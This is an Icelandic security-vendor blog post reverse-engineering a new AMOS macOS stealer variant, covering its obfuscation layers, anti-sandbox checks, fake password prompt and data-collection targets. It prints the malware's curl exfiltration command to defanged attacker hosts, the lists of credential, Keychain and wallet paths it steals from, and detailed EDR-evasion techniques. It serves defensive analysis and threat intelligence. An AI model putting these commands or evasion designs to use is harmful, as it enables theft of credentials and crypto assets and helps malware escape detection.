Anatómía á óþekktum AMOS Stealer: Frá alerti til ónæmis á klukkustundum
Áður óskráð afbrigði af AMOS stealer komst inn á macOS-endpoint. Engir þekktir hash-ar, engin C2-gögn í opnum gagnagrunnum. SOC-teymið okkar tók í sundur sex lög af obfuskun, dró út alla indicators og dreifði vörn til allra SOC-viðskiptavina á fáum klukkustundum, áður en iðnaðurinn hafði yfirhöfuð séð sample-ið.

Þegar alert kviknar í SOC-inu okkar byrjar klukkan að tifa, ekki bara fyrir viðkomandi viðskiptavin heldur fyrir öll fyrirtæki undir vernd okkar. Hættulegasta augnablikið í nútíma threat-umhverfi er intelligence gap-ið, tímaglugginn milli fyrstu notkunar á nýju malware-afbrigði og þess dags þegar iðnaðurinn heyrir af því.
Fyrir sjálfstæð security-teymi þýðir þetta gat mikinn viðkvæmleika: þú bíður eftir vendor-uppfærslu eða signature-feed sem enn hefur ekki verið skrifaður. Fyrir viðskiptavini okkar lokar Shared Threat Intelligence, sem við þróuðum innanhúss, nákvæmlega þessum glugga.
Þessi færsla er tæknileg sundurgreining á því hvernig við tókum í sundur áður óskráð afbrigði af AMOS (Atomic macOS Stealer) og hvernig einn kompromíseraður endpoint varð, á fáum klukkustundum, að þéttri greiningu og blokkun í öllum umhverfum viðskiptavina okkar.
{: #atvikid}
Alertið barst 12. mars 2026 klukkan 06:25 að staðartíma: macOS-endpoint hafði verið kompromíseraður. Þegar SOC-teymið okkar byrjaði að greina artifacts stóðum við frammi fyrir aðstæðum sem hver threat analyst óttast: engir þekktir file-hash-ar, engar C2-IP-tölur, engar marktækar behavior-signature í opnum gagnagrunnum.
Öll árásararkitektúrinn kom ekki fram fyrr en í djúpgreiningu. Sýkingin byggði á 15,7 MB macOS Universal Binary (x86_64 og ARM64), sett á /private/tmp/helper. Sample-ið var ekki beint aðgengilegt á kompromíseraða kerfinu; teymið okkar þurfti að endurgera sýkingarkeðjuna og herma upphaflegu delivery-fyrirspurnina til að ná binary-inu handvirkt úr innviðum árásaraðilans.
{: #stage-1-sandbox-athuganir}
Áður en sjálfur stealer-inn keyrði á tækinu hafði AppleScript-payload þegar keyrt. Hver strengur í honum, hver skráaslóð, hver shell-skipun, hver URL var kóðaður í gegnum þrjár sérsniðnar arithmetic-fúnksjónir:
on ipbgcjzgqa(a, b)
-- result[i] = chr(a[i] - b[i])
on kwcvvjininv(a, b)
-- result[i] = chr(a[i] + b[i])
on xqylheckjx(a, b, offset)
-- result[i] = chr(a[i] - b[i] - offset)
Enginn einn strengur birtist í plaintext. Það sem virtist við fyrstu sýn vera merkingarlaus integer-arrays reyndist, eftir að kóðunarreglunum var snúið við, vera fullkomið og tilbúið framework fyrir gagnaþjófnað og exfiltration.
Við afkóðuðum hvern array í scriptinu statískt. Niðurstöðurnar voru skýrar:
Download URL: https[:]//woupp[.]com/n8n/update
Exfil server: http[:]//92[.]246[.]136[.]14/contact
Exfil method: curl --connect-timeout 120 --max-time 300 -X POST -F "file=@/tmp/out.zip"
Download-URL-ið stælir vísvitandi lögmæta n8n workflow automation uppfærslu, tól sem er útbreitt meðal þróunaraðila og DevOps-verkfræðinga. Það er ekki tilviljun: herferðin miðar á tæknilega færa notendur, ekki venjulega endanotendur sem setja upp krakkaðan hugbúnað.
Anti-sandbox check-ið
Fyrir download-ið keyrði scriptið sérstakan VM- og sandbox-detection routine. Úr atvika-artifacts gátum við auk þess endurbyggt sjálfstætt anti-sandbox script:
set urgufr to do shell script "system_profiler SPMemoryDataType"
set qcsvjxp to do shell script "system_profiler SPHardwareDataType"
Niðurstöðurnar bar scriptið síðan saman við tvo lista. Sá fyrri leitaði að virtualization-merkingum í minnisgögnunum:
"QEMU" "VMware" "KVM"
Sá seinni bar hardware-auðkenni saman við lista yfir þekktar serial-tölur á greiningarvélum:
"Z31FHXYQ0J" -- known sandbox machine serial
"C07T508TG1J2" -- known sandbox machine serial
"C02TM2ZBHX87" -- known sandbox machine serial
"Chip: Unknown" -- emulation indicator
"Intel Core 2" -- legacy/VM indicator
Við samsvörun: exit 100, full stöðvun. Á raunverulegri MacBook Pro með Apple Silicon fór allt hljóðlega í gegnum athuganirnar og keyrslan hélt áfram. Sandbox-evasion tækni á faglegu stigi sem rann af stað áður en eitt einasta byte af binary-inu var sótt.
Einfalt en áhrifaríkt: falsaða lykilorðabeiðnin
Afkóðaða scriptið innihélt einnig dialog fyrir privilege escalation í gegnum social engineering:
Title: "Application wants to install helper"
Prompt: "Required Application Helper. Please enter device
password to continue."
Button: "Continue"
Dialogurinn birtist í gegnum staðlað macOS display dialog-kall með with hidden answer og er sjónrænt ekki hægt að greina frá raunverulegri macOS authorization-beiðni. Innslegna lykilorðið notaði scriptið til að kalla login -pf <username> og lyfta ferlinu í root-réttindi, enn áður en binary-ið var keyrt.
Það sem scriptið safnaði
Um leið og binary-ið var í keyrslu hélt osascript sínum eigin söfnunarferli áfram og greip í hvern flokk viðkvæmra kerfisgagna. Við afkóðuðum allar söfnunarslóðir og markmið:
Browser-gögn (allir Chromium-browsers + Safari):
/Login Data /Cookies /Web Data
/Local Extension Settings/ /IndexedDB/ /Local Storage/leveldb/
macOS Keychain:
~/Library/Keychains/login.keychain-db -- accessed directly via cat
Apple Notes
Fullt innihald flutt út sem HTML með teljara-header
Staðbundnar skrár
Skrifborð og Documents, allt að 30 MB, með áherslu á:
pdf doc docx xls xlsx ppt pptx txt rtf
key p12 pem cert pfx sql db sqlite
json xml yaml conf env csv
Rafmyntaveski
Harðkóðaður listi með meira en 200 browser extension ID-um sem nær yfir öll algeng veski, þar á meðal MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI og Exodus.
Eftir söfnun voru öll gögn sett í handahófskennt nefnda tímabundna möppu og exfiltreruð:
ditto -c -k --sequesterRsrc <staging_dir> /tmp/out.zip
curl --connect-timeout 120 --max-time 300 -X POST \
-H "user: <uuid>" -H "BuildID: <hw_profile>" \
-F "file=@/tmp/out.zip" laislivon[.]com/contact
Hreinsun fylgdi strax á eftir:
rm -r <staging_dir>
rm /tmp/out.zip
{: #stage-2-binary-greining}
helper binary-ið er sá hluti þar sem þessi greining fer virkilega á dýptina. Um er að ræða faglega obfuskerað macOS-executable sem torveldar kerfisbundið statíska greiningu og olli mestu reverse-engineering vinnunni í þessari rannsókn.
Öll greiningin var unnin með Ghidra og sérsniðnu ARM64-greiningarferli okkar.
Eiginleikar skrárinnar
Það byrjar á undan main()
Það fyrsta sem við tókum eftir í Ghidra: þetta binary hegðar sér ekki eins og venjulegt executable. Raunverulegur entry point er ekki main(), heldur fúnksjón sem er skráð í __mod_init_func, macOS-vélbúnaði sem gefur dynamic linker-num (dyld) skipun um að keyra tilteknar fúnksjónir sjálfkrafa við hleðslu binary-ins, áður en nokkur nytsamur kóði keyrir.
Init-fúnksjónin á 0x10009f384 er hinn eiginlegi entry point malware-sins. Hér er Ghidra-decompileringin:
// FUN_10009f384 @ 0x10009f384
// __mod_init_func registered — executes before main()void FUN_10009f384(void)
{
int iVar1;
// Anti-sandbox delay: usleep(0x37e) = 894 microseconds
iVar1 = _usleep(0x37e);
// Indirect jump table — 14-state machine// Defeats CFG reconstruction in static analysis tools
(_(code _)((ulong)switchD_10009f43c::switchdataD_1000cd3fc * 4 + 0x10009f440))(iVar1);
return;
}
Tvennt stingur strax í augun. Í fyrsta lagi 894 míkrósekúndna usleep við ræsingu: anti-sandbox timing-merki. Alvarlegri er óbeina jump-taflan á 0x10009f43c. Það er reiknaður branch þar sem targetheimilisfangið er sótt á runtime úr lookup-töflu. Statísk greiningartól geta ekki endurbyggt control flow graph-inn; Ghidra skráði nokkrar „unreachable block" viðvaranir þegar við reyndum að rekja keyrsluslóðina. Þetta er þannig hugsað.
Jump-taflan drífur áfram 14-state keyrsluvél. Hvert ástand framkvæmir eitt stakt skref í dekryptings- og keyrslupipelínunni. State-teljarinn er uppfærður eftir hvert skref og vélin keyrir þar til öll ástönd hafa verið gengið í gegn.
ARM64-disassembly á state dispatcher-num
10009f3fc: stp xzr,xzr,[sp, #0x48]
10009f41c: mov w0,#0x37e
10009f420: bl 0x1000a0fa8 ; _usleep(0x37e) — 894µs anti-sandbox
10009f424: cmp w25,#0xd ; state counter < 14?
10009f428: b.hi 0x10009fd44 ; exit if done
10009f42c: mov w8,w25 ; current state index
10009f430: adr x9,0x10009f440 ; base of jump table
10009f434: ldrh w10,[x20, x8, LSL#1]; load jump offset from table
10009f438: add x9,x9,x10, LSL #0x2 ; compute target address
10009f43c: br x9 ; indirect branch, CFG broken here
Sex staflaðar obfuskun-lög
Binary-ið notar sex mismunandi obfuskun-lög, stafluð og hlekkjuð saman þannig að úttak hvers lags er sett inn í það næsta. Hver payload, hver strengur, hver innri fasti er kóðaður. Í __const-segment-inu birtist ekkert merkingarbært í plaintext. Það sem á eftir kemur er full lag-fyrir-lag sundurgreining, staðfest beint í Ghidra, alveg niður í einstakar ARM64-instructions. Hver notuð tækni er þekkt út af fyrir sig; hlekkjuð beiting þeirra yfir mörg stig skapaði þó þéttlega háða keyrsluflæði sem torveldaði mjög statíska og dýnamíska greiningu.
Layer 1: compile-time triplet-kóðun
Enginn strengur í binary-inu er geymdur sem stafarunning, heldur sem runa af 12-byte arithmetic triplets. Hvert triplet (a, b, shift) kóðar nákvæmlega eitt úttaksstaftáknið. Kóðunarreglunni er beitt á compile-time, þannig að enginn strengur er nokkru sinni til sem plaintext í binary-inu, ekki einu sinni tímabundið við hleðslu.
Tvær aðskildar decoder-fúnksjónir sinna ólíkum strengjastærðum. FUN_100087c08 á 0x100087c08 afkóðar 60-stafa strengi (720 byte af inntaksgögnum úr DAT_1006292cc). FUN_10007ad80 á 0x10007ad80 afkóðar 56-stafa strengi (672 byte úr DAT_10049708c). Báðar nota sama algorithminn.
// FUN_100087c08 @ 0x100087c08
// Triplet decoder, 60 chars, data from DAT_1006292ccvoid FUN_100087c08(long *param_1)
{
long *plVar1;
void *pvVar2;
long lVar3;
uint *puVar4;
pvVar2 = operator_new(0x2d0); // allocate 720 bytes (60 triplets × 12)
_memcpy(pvVar2, &DAT_1006292cc, 0x2d0); // copy encoded triplets from __const
FUN_1000a0840(param_1, 0x3c, 0); // init 60-char output buffer
lVar3 = 0;
puVar4 = (uint _)((long)pvVar2 + 8);
do {
plVar1 = (long _)_param_1;
if (-1 < _(char _)((long)param_1 + 0x17)) {
plVar1 = param_1;
}
// THE DECODE FORMULA, one character per triplet:
// char = ((b _ 3) XOR a) >> shift) - b
_(char _)((long)plVar1 + lVar3) =
(char)((int)(puVar4-1 * 3 ^ puVar4-2) >> (*puVar4 & 0x1f)) - (char)puVar4-1;
lVar3 = lVar3 + 1;
puVar4 = puVar4 + 3; // advance 12 bytes — next triplet
} while (lVar3 != 0x3c); // loop exactly 60 times
operator_delete(pvVar2);
return;
}
Samsvarandi ARM64-assembly, þar sem hver instruction samsvarar beint aðgerð í formúlunni:
100087c48: add x9,x20,#0x8
100087c4c: ldp w10,w11,[x9, #-0x8] ; load a → w10, b → w11
100087c50: add w12,w11,w11, LSL #0x1 ; w12 = b + (b << 1) = b * 3
; (compiler avoids MUL instruction)
100087c54: eor w10,w12,w10 ; w10 = (b*3) XOR a
100087c58: ldr w12,[x9], #0xc ; w12 = shift value; post-increment by 12
100087c5c: asr w10,w10,w12 ; arithmetic right shift — sign bit preserved
100087c60: sub w10,w10,w11 ; subtract b — final decoded character
100087c74: strb w10,[x11, x8, LSL ] ; store one byte to output buffer
100087c78: add x8,x8,#0x1
100087c7c: cmp x8,#0x3c ; loop counter vs. 60
100087c80: b.ne 0x100087c4c ; continue until all 60 chars decoded
Athyglisvert: margföldun b × 3 er útfærð sem add w12, w11, w11, LSL #1, shift-and-add sem forðast alveg margföldunar-instruction. Þetta er sígild compiler-optimization sem gerir kóðann samtímis erfiðari að finna með signature matching.
Fulla afkóðunarformúlan:
char = ASR( (b × 3) XOR a, shift ) − b
ASR (arithmetic shift right) er lykilatriði: hann varðveitir sign bit-ið. Ef millistigsniðurstaða úr (b×3) XOR a er neikvæð, sem gerist oft, myndi logical shift skila allt annarri niðurstöðu. Þetta er meðvitað: sá sem endurgerir formúluna í hærra forritunarmáli með >> fær hljóðlaust rangar úttakstölur ef signed arithmetic er ekki tekin sérstaklega með í reikninginn.
56-stafa afbrigðið FUN_10007ad80 er byggingarlega eins, vinnur á DAT_10049708c með loop-límiti upp á 0x38. Báðar fúnksjónirnar voru staðfestar í Ghidra við þessa greiningu.
Layer 2: hex-strengja kóðun
Hráu byte-in sem Layer 1 gefur af sér eru sjálf ASCII-hex-stafir, ekki binary-gögn. Úttak úr Layer 1 triplet-decode er strengur af hex-pörum: 32694e5462.... Þetta er staðfest af decoder-fúnksjónnini FUN_100000dc0 á 0x100000dc0, sem útfærir hex-decode gegnum lookup-töflu á DAT_1007bb591.
Ghidra-decompile-ið sýnir switch-setningu sem varpar hverjum hex-stafi (0x30-0x39, 0x41-0x46, 0x61-0x66) á nibble-gildi sitt og setur saman úttaks-byte tvo stafi í einu:
// FUN_100000dc0 @ 0x100000dc0// Hex decoder, processes input two characters per output byteswitch(*(undefined1 *)((long)plVar2 + lVar7)) {
case 0x30: break; // '0' → 0x00
case 0x31: bVar9 = 0x10; break; // '1' → 0x10
case 0x32: bVar9 = 0x20; break; // '2' → 0x20
// ... '3' through '9' ...
case 0x41: case 0x61: bVar9 = 0xa0; break; // 'A'/'a' → 0xa0
case 0x42: case 0x62: bVar9 = 0xb0; break; // 'B'/'b' → 0xb0
case 0x43: case 99: bVar9 = 0xc0; break; // 'C'/'c' → 0xc0
case 0x44: case 100: bVar9 = 0xd0; break; // 'D'/'d' → 0xd0
case 0x45: case 0x65: bVar9 = 0xe0; break; // 'E'/'e' → 0xe0
case 0x46: case 0x66: bVar9 = 0xf0; break; // 'F'/'f' → 0xf0
}
// Second nibble from lookup table at DAT_1007bb591
*(byte *)((long)pppppppuVar3 + uVar8) =
(&DAT_1007bb591)[(ulong)uVar4 & 0xff] | bVar9;
ARM64-assembly-ið drífur þetta áfram með aukalegri computed branch-töflu og útfærir í raun 55-færslu jump-töflu fyrir switchinn:
100000e5c: adr x17,0x100000e6c ; base of case-dispatch table
100000e60: ldrb w0,[x12, x16, LSL ] ; load offset for this hex char
100000e64: add x17,x17,x0, LSL #0x2 ; compute dispatch address
100000e68: br x17 ; jump — second computed branch in 24 bytes
Tveir computed branches innan 24-byte glugga. Statísk greiningartól ráða ekki við þetta mynstur vegna þess að bæði branch targets eru óþekkt á greiningartíma.
137.208-stafa hex-strengur skilar eftir afkóðun 68.604 byte-um, sem síðan fara inn í Layer 3.
Layer 3: sérsniðinn 16-tákna nibble-alphabet
68.604 úttaks-byte-in úr Layer 2 nota aðeins 16 einstök byte-gildi úr tveimur ósamhengjum ASCII-sviðum:
0x20-0x2F: bil,!,",#,$,%,&,',(,),*,+,,,-,.,/0x78-0x7F:x,y,z,{,|,},~, DEL
Þetta er meðvituð hönnunarákvörðun. Í hex-editor líta þessi byte út eins og bil, greinarmerki og ASCII-jaðartákn; þau renna saman við hávaðann af því sem virkar eins og metadata eða padding. Analyst sem rennir yfir hex-dump merkir ekki þessi byte-svið sem grunsamleg og staðlaðar entropy-greiningar vanmeta virka entropy-una því byte-dreifingin virðist ekki tilviljanakennd.
Hvert byte úr þessu alphabet-i kóðar eitt nibble af sjálfum payload-num. Alphabet-til-nibble vörpuninni er beitt af encode/decode-fúnksjónnini FUN_100000d60, sem við staðfestum á 0x100000d60. Hún tengir tvær sub-fúnksjónir: FUN_100000b50 býr til indexerað map af stöfum inntaksstrengsins, og FUN_100000c34 fer í gegnum þetta map, notar 6 bit í hverju skrefi og safnar úttaks-byte-um 8 bit í einu:
// FUN_100000c34 @ 0x100000c34, nibble accumulator
iVar5 = 0;
do {
local_52 = *(undefined1 *)puVar4;
lVar3 = FUN_1000a078c(param_3, &local_52); // look up nibble value
if (lVar3 == 0) {
// character not in alphabet, treat as raw
FUN_1000a078c(param_3, &local_51);
} else {
iVar5 = iVar5 + 4; // accumulate 4 bits
while (7 < iVar5) {
std::string::push_back((char)param_1); // emit byte when 8+ bits ready
iVar5 = iVar5 + -8;
}
}
puVar4 = (undefined8 *)((long)puVar4 + 1);
} while (puVar4 != puVar1);
34.302 byte-in sem koma úr þessum umgangi eru 99,7% prentanlegt ASCII. Við fyrsta yfirlit lítur payload-inn á þessu stigi út eins og stórt shell-script eða configuration-blob.
Layer 4: compile-time strengja-obfuskun
Strengir sem eru notaðir innanhúss eru obfuskeraðir á compile-time með sömu triplet-reglu og Layer 1 og endurbyggðir á runtime rétt fyrir notkun. Í minni eru þeir aldrei lengur en nauðsynlegt er; buffer-inn er strax losaður eftir neyslu. Í statísku data-hluta binary-ins er afkóðaður strengur aldrei sjáanlegur.
Strengja-hash fúnksjónin FUN_100000730 bætir við aukalag af obfuskun fyrir strengja-samanburð. Í stað þess að bera strengi beint saman, sem myndi skilja eftir plaintext í minni, reiknar binary-ið og ber saman integer-hash:
// FUN_100000730 @ 0x100000730// FNV-style string hash, avoids plaintext string comparisonsint FUN_100000730(char *param_1)
{
int iVar4 = 0x19a8; // FNV offset basis (modified)
// ...
for (; uVar3 != 0; uVar3 = uVar3 - 1) {
iVar4 = (int)*pcVar1 + iVar4 * -0x7fb91be3; // FNV-1a style multiply
pcVar1 = pcVar1 + 1;
}
return iVar4;
}
ARM64-assembly-ið skiptir margfölduninni út fyrir fused multiply-add:
100000744: mov w0,#0x19a8 ; FNV basis
100000750: mov w10,#0xe41d
100000754: movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3
100000758: ldrsb w11,[x8], #0x1 ; load char, post-increment
10000075c: madd w0,w0,w10,w11 ; w0 = w0 * 0x8046e41d + char
100000760: subs x9,x9,#0x1
100000764: b.ne 0x100000758
Þetta þýðir að jafnvel samanburður á tveimur strengjum innan binary-ins skapar ekki branch sem debugger getur gripið hreint á strengja-plani, aðeins á hash-plani.
Layer 5: tvöfaldar custom stream cipher instances
Á þessum stað verður obfuskun-arkitektúrinn óvenjulegur. Í binary-inu keyra ekki ein heldur tvær aðskildar cipher-instances, hver með sína harðkóðuðu lookup-töflu og sinn upphafsteljara. Báðar nota sömu algorithm-uppbyggingu en framleiða ólíkar úttaks-alphabet-ar fyrir ólíka hluta payload-pipelínunnar.
Instance A, FUN_10007ab34 á 0x10007ab34:
// Instance A, start counter 0x4c, table @ 0x100496f8b
uVar6 = 0x4c;
do {
bVar2 = *(byte *)((long)local_e0 +
((ulong)(*(byte *)((long)local_c8 + uVar5) ^ uVar6) & 0xff));
*(byte *)((long)plVar1 + uVar5) = bVar2;
uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // counter: i + (counter XOR output)
uVar5 = uVar5 + 1;
} while (uVar7 != uVar5);
Instance B, FUN_10007a7e0 á 0x10007a7e0:
// Instance B, start counter 0x9f, different table @ 0x100496e0a region
uVar6 = 0x9f;
do {
bVar2 = *(byte *)((long)local_c0 +
((ulong)(*(byte *)((long)local_a8 + uVar5) ^ uVar6) & 0xff));
*(byte *)((long)plVar1 + uVar5) = bVar2;
uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // identical counter update formula
uVar5 = uVar5 + 1;
} while (uVar7 != uVar5);
Algorithminn er byggingarlega eins, en upphafsteljarinn er ólíkur (0x4c á móti 0x9f) og lookup-töflurnar liggja á mismunandi minnisheimilisföngum. Instance A er kölluð úr state 11 í state-vélinni til að framleiða kóðunar-alphabet-ið fyrir fyrstu payload-slóðina. Instance B er kölluð úr state 6 til að framleiða alphabet-ið fyrir decode á stóra shell-script payload-num.
Nánar tiltekið: um er að ræða substitution cipher með counter-háðum index. Hvert úttaks-byte er tafla-lookup þar sem indexinn er (input_byte XOR counter) & 0xFF. Teljarinn uppfærist eftir hvert byte sem counter = (i + (counter XOR output)) & 0xFF, sem þýðir að hvert úttaks-byte hefur áhrif á ákvörðun næsta lookup-index. Það skapar háðnikeðju yfir alla úttaksruna: ekki er hægt að decrypt-a byte N nema hafa decrypt-að byte 0 til N-1 rétt. Partial dekryption eða villugreining verður þar með miklu erfiðari.
Hvorug instance-in er staðlað RC4. Það er engin S-box initialization-fasi, engin S-box swap-aðgerð. Lookup-töflurnar eru statískar, compile-time embedded konstantur.
Layer 6: runtime XOR með exit-code-háðum lykli
Síðasta og greiningarlega krefjandi lagið beitir in-place XOR-umbreytingu á Stage-2 payload-inn. XOR-lykillinn er ekki harðkóðaður heldur leiddur á runtime út frá exit-code fyrstu shell-payload keyrslunnar, og þar með í grundvallaratriðum ekki hægt að ákvarða með statískri greiningu. Binary-ið verður raunverulega að keyra og fyrsta shell-scriptið að klára að keyra áður en lykillinn er yfirhöfuð til.
Lykilleiðingar-runan í ARM64 state machine dispatcher-num:
; After shell_exec_via_pipe #1 returns, exit code is in w0
10009f838: ubfx w8,w0,#0x8,#0x8 ; extract bits [15:8] of exit status
10009f83c: mov w9,#0x7f0 ; multiplier constant
10009f840: madd w8,w8,w9,w26 ; key = (exit_byte × 0x7f0) + base_counter
10009f844: and w24,w8,#0xffff ; mask to 16-bit key → stored in w24
XOR-loopurinn sem vinnur Stage-2 payload-inn:
; In-place XOR, every byte of the payload is XORed with w24
10009fc34: ldrb w10,[x8, x9, LSL ] ; load payload byte
10009fc48: eor w10,w10,w24 ; XOR with key
10009fc4c: strb w10,[x8, x9, LSL ] ; write decrypted byte in place
Lykillinn er 16-bita gildi sem er leiddur út frá exit status byte fyrsta shell-payload-sins, margfaldað með 0x7f0 og bætt við núverandi gildi grunn-teljarasérgeymslunnar w26 í state-vélinni. Margföldunarfastinn 0x7f0 veldur því að einn-bita munur á exit-code framleiðir alveg annan lykil. Það er engin nýtanleg samfella milli nálægra lykilgilda.
Án þess að keyra binary-ið í stýrðu umhverfi og skrá nákvæmt exit-code fyrsta shell-payload-sins er Stage-2 payload-inn varanlega ógegnsær fyrir statíska greiningu. Þetta var erfiðasta hindrunin í allri greiningunni.
Shell-keyrsla: pipes í stað argumenta, og SIMD-XOR
Shell-keyrslufúnksjónin FUN_10000091c á 0x10000091c er arkitektúrlega áhugaverðasti hluti binary-ins. Hér kemur allt saman: afkóðaði payload-inn, obfuskerað skipunarheiti og skýr anti-forensics hönnun. Hver hönnunarákvörðun í þessari fúnksjón þjónar tilteknum evasion-tilgangi.
Skref 1: skipunarheitið birtist aldrei í plaintext
/bin/zsh er hvergi til í binary-inu sem plaintext. Í __cstring-hluta á 0x1007bb5c8 liggur strengurinn sem obfuskeruð byte \x01LG@\x01T]F. Afkóðunin fer fram á runtime gegnum eina XOR-aðgerð, staðfestanlega beint í ARM64-assembly:
; FUN_10000091c — command name decode via SIMD XOR
100000960: adrp x8,0x1007bb000
100000964: add x8,x8,#0x5c8 ; x8 → "\x01LG@\x01T]F" in __cstring
100000968: ldr x8,[x8] ; load 8 obfuscated bytes as uint64
10000096c: str x8,[sp, #0x20]
100000970: strb wzr,[sp, #0x28] ; null terminator
100000974: ldr d0,[sp, #0x20] ; load into SIMD register d0
100000978: movi v1.8B,#0x2e ; broadcast 0x2e to all 8 lanes of v1
10000097c: eor v0.8B,v0.8B,v1.8B ; XOR all 8 bytes simultaneously
100000980: str d0,[sp, #0x20] ; store decoded "/bin/zsh"
100000988: mov w8,#0x732d ; 0x732d = "-s" (little-endian)
10000098c: strh w8,[sp, #0x4] ; store argument string
XOR-lykillinn er 0x2e, ASCII-gildið fyrir . (punkt). Afkóðunin gerist í einni eor v0.8B, v0.8B, v1.8B instruction, ARM64-NEON vektor-skipun sem XOR-ar öll 8 byte-in samtímis. Að nota SIMD-instruction fyrir einfaldan 8-byte decode er óvenjulegt og hefur tvenn áhrif: hraðar en byte-fyrir-byte loop, og instruction-mynstrið sem myndast er í grundvallaratriðum ólíkt skalar-decode-loopum sem signature matching-tól eru þjálfuð á.
Staðfestingin er einföld: 0x01 XOR 0x2e = 0x2f = /, 0x4c XOR 0x2e = 0x62 = b, 0x47 XOR 0x2e = 0x69 = i, 0x40 XOR 0x2e = 0x6e = n, sem gefur /bin í fyrstu fjórum byte-unum.
Skref 2: pipe-arkitektúrinn
Eftir afkóðun skipunarheitsins býr fúnksjónin til OS-pipe og forkar:
100000990: bl 0x1000a0f6c ; _fork()
100000994: mov x20,x0 ; save PID
100000998: cbz w0,0x100000b00 ; if child: jump to exec path
Í child-ferlinu:
; Child process path
100000b0c: mov w1,#0x0
100000b10: bl 0x1000a0f48 ; _dup2(pipe_read_fd, STDIN=0)
; pipe read-end is now stdin, shell reads from pipe
100000b2c: add x0,sp,#0x20 ; argv[0] = "/bin/zsh"
100000b30: add x1,sp,#0x8 ; argv array
100000b34: bl 0x1000a0f60 ; _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])
Child-ferlið skiptir sínum staðlaða input út fyrir lesenda pipe-sins og ræsir /bin/zsh -s. Í -s-ham les shell-ið skipanir úr stdin. Fyrir process-monitoring tól birtist þetta ferli sem /bin/zsh -s án argumenta, ógreinanlegt frá lögmætri interaktífri shell-session.
Skref 3: chunk-writes af breytilegri stærð
Parent-ferlið skrifar afkóðaða payload-inn í meðvitað breytilegum chunk-stærðum á skrifenda pipe-sins:
; Parent: compute chunk size then write
1000009d4: umulh x8,x23,x24 ; high-half multiply for modulo
1000009d8: lsr x8,x8,#0x7
1000009dc: msub x8,x8,x25,x23 ; x8 = length % 0xc0
1000009e0: add x8,x8,#0x40 ; chunk = (length % 192) + 64
; range: 64 to 255 bytes per write
1000009e4: cmp x8,x23 ; clamp to remaining length
1000009e8: csel x2,x8,x23,cc
1000009ec: ldr w0,[sp, #0x34] ; pipe write fd
1000009f0: mov x1,x21 ; payload pointer
1000009f4: bl 0x1000a0fc0 ; _write(fd, buf, chunk_size)
100000a04: mov w0,#0x1
100000a08: bl 0x1000a0fa8 ; _usleep(1), 1µs between chunks
100000a0c: add x21,x21,x22 ; advance pointer
100000a10: sub x23,x23,x22 ; reduce remaining count
100000a14: cbnz x23,0x1000009d4 ; loop until done
Chunk-stærðarformúlan (remaining_length % 192) + 64 framleiðir gildi milli 64 og 255 byte per write-kall, allt eftir eftirstæðri payload-lengd. Breytilega write-mynstrið er sýnilegt í kernel event tracing-tólum á borð við ktrace eða dtrace, en framleiðir ekki þekkjanlega fasta-stærðar signature. Hver keyrsla á sama payload framleiðir aðra runu af write()-syscall stærðum.
1-míkrósekúndna usleep milli chunk-anna hefur annan tilgang: það gefur CPU-inn lausan milli skrifa, heldur CPU-nýtingu flatri og forðast skyndilegan topp sem behavior-based EDR-regla gæti merkt sem óeðlilegt burst-I/O.
Skref 4: tafarlaus minnishreinsun
; After all chunks written and pipe closed:
100000a20: ldrb w8,[x19, #0x17] ; check string storage type
100000a24: sxtb w9,w8
100000a28: ldp x10,x11,[x19]
100000a30: csel x0,x10,x19,lt ; pointer to payload buffer
100000a34: csel x1,x11,x8,lt ; length of buffer
100000a38: bl 0x1000a0f30 ; _bzero(payload_buf, length)
_bzero()-kallið núllstillir allan afkóðaða payload-buffer-inn beint eftir síðustu skrif í pipe-inn. Enginn tímagluggi, ekki einu sinni míkrósekúnda, þar sem afkóðaði payload-inn liggur enn í minni eftir að keyrslunni lýkur. Lifandi memory dump sem tekið er strax eftir að þessari fúnksjón lýkur finnur aðeins núll þar sem payload-inn var.
Þetta kallast zero-after-use, sama tækni og háöryggis-cryptography libraries nota til að tryggja að lykilefni verði ekki eftir í minni. Að þessi tækni komi fram í commodity malware er óvenjulegt og bendir til þróunaraðila með security engineering bakgrunn.
Full keyrsluruna:
__cstring: "\x01LG@\x01T]F" (7 bytes, obfuscated)
↓ SIMD XOR with 0x2e (8-wide vector)
stack: "/bin/zsh\0" (decoded in-place, stack only)
↓ _pipe() creates fd pair [read=local_60, write=local_5c]
↓ _fork()
│
├─ CHILD: _dup2(local_60, 0) stdin = pipe read end
│ _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])
│ → /bin/zsh reads commands from stdin (= pipe)
│
└─ PARENT: loop: _write(local_5c, payload, variable_chunk)
_usleep(1)
_close(local_5c) close write end → EOF to shell
_bzero(payload, len) ← WIPE IMMEDIATELY
_waitpid(child, ...)
Import-taflan sem vopn
Full import-tafla þessa binary-s:
// C runtime / memory
_memcpy _memmove _memset _bzero
// Process execution
_fork _execvp _execl __exit
// IPC / pipes
_pipe _dup2 _close _write
// Synchronisation
_waitpid _usleep
// Stack protection
___stack_chk_fail ___stack_chk_guard
// C++ runtime
operator.new operator.delete __Unwind_Resume
___cxa_allocate_exception ___cxa_throw ___cxa_begin_catch
___cxa_end_catch ___cxa_free_exception ___gxx_personality_v0
terminate logic_error bad_array_new_length __next_prime
// STL containers
append reserve push_back operator=
// Dynamic linking
dyld_stub_binder
Samtals 27 symbol. Það sem vantar er að minnsta kosti jafn upplýsandi og það sem er til staðar.
Fjarverandi: net
socket connect bind listen
accept send recv sendto
recvfrom getaddrinfo gethostbyname
Fjarverandi: skráakerfi
open read fopen fread
fwrite fclose stat unlink
mkdir rename opendir readdir
Fjarverandi: process introspection
getpid getuid getenv sysctl
Fjarverandi: cryptography
CCCrypt SecItemAdd SecKeychainFind
Í hefðbundnu malware-sample býst maður við network-imports (socket, connect) eða skráar-imports (fopen, write). Þetta binary hefur ekki eitt einasta. Fyrir staðlaðan scanner lítur það út eins og saklaus process-launcher, og það er þannig ætlað: meðvituð arkitektúrákvörðun sem lætur statísk greiningartól hlaupa út í tómið.
